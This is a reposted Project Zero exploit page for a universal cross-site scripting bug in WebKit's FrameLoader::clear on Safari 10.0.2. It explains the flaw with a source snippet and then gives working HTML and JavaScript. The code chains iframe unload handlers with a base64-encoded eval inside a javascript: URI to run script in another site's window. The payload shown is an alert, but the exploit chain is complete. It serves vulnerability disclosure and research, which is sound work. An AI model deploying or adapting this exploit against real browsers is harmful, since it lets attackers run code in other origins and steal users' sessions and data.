Apple WebKit 10.0.2 - 'FrameLoader::clear' Universal Cross-Site Scripting
|
来源:Google Security Research 作者:Google 发布时间:2017-02-27
|
|
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1049 When the new page is loading, FrameLoader::clear is called to clear the old document and window. Here's a snippet of FrameLoader::clear. void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView) { ... // Do this after detaching the document so that the unload event works. if (clearWindowProperties) { InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow()); m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension(); m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1) if (shouldClearWindowName(m_frame, *newDocument)) m_frame.tree().setName(nullAtom); } ... m_frame.setDocument(nullptr); <<-------- (2) ... } The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI. Tested on Safari 10.0.2(12602.3.12.0.1). --> <body> <script> /* Apple WebKit: UXSS via FrameLoader::clear When the new page is loading, FrameLoader::clear is called to clear the old document and window. Here's a snippet of FrameLoader::clear. void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView) { ... // Do this after detaching the document so that the unload event works. if (clearWindowProperties) { InspectorInstrumentation::frameWindowDiscarded(m_frame, m_frame.document()->domWindow()); m_frame.document()->domWindow()->resetUnlessSuspendedForDocumentSuspension(); m_frame.script().clearWindowShell(newDocument->domWindow(), m_frame.document()->pageCacheState() == Document::AboutToEnterPageCache); <<-------- (1) if (shouldClearWindowName(m_frame, *newDocument)) m_frame.tree().setName(nullAtom); } ... m_frame.setDocument(nullptr); <<-------- (2) ... } The new document's window is attached at (1) before calling |m_frame.setDocument(nullptr)| that calls unload event handlers. So in the unload event handler, we could execute arbitrary javascript code on new document's window with a javascript: URI. Tested on Safari 10.0.2(12602.3.12.0.1). */ "use strict"; function log(txt) { //if (Array.isArray(txt)) // txt = Array.prototype.join.call(txt, ", "); let c = document.createElement("div"); c.innerText = "log: " + txt; d.appendChild(c); } function main() { let f = document.body.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); a.contentWindow.onunload = () => { let b = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); b.contentWindow.onunload = () => { f.src = "javascript:''"; let c = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); c.contentWindow.onunload = () => { f.src = "javascript:''"; let d = f.contentDocument.appendChild(document.createElement("iframe")); d.contentWindow.onunload = () => { f.src = "javascript:setTimeout(eval(atob('" + btoa("(" +function () { alert(document.location); } + ")") + "')), 0);"; }; }; }; }; f.src = "https://abc.xyz/"; } main(); /* b JSC::globalFuncParseFloat */ </script> </body>
|
|
|
[推荐]
[评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
|
|
|
|
推荐广告 |
|
|
|
|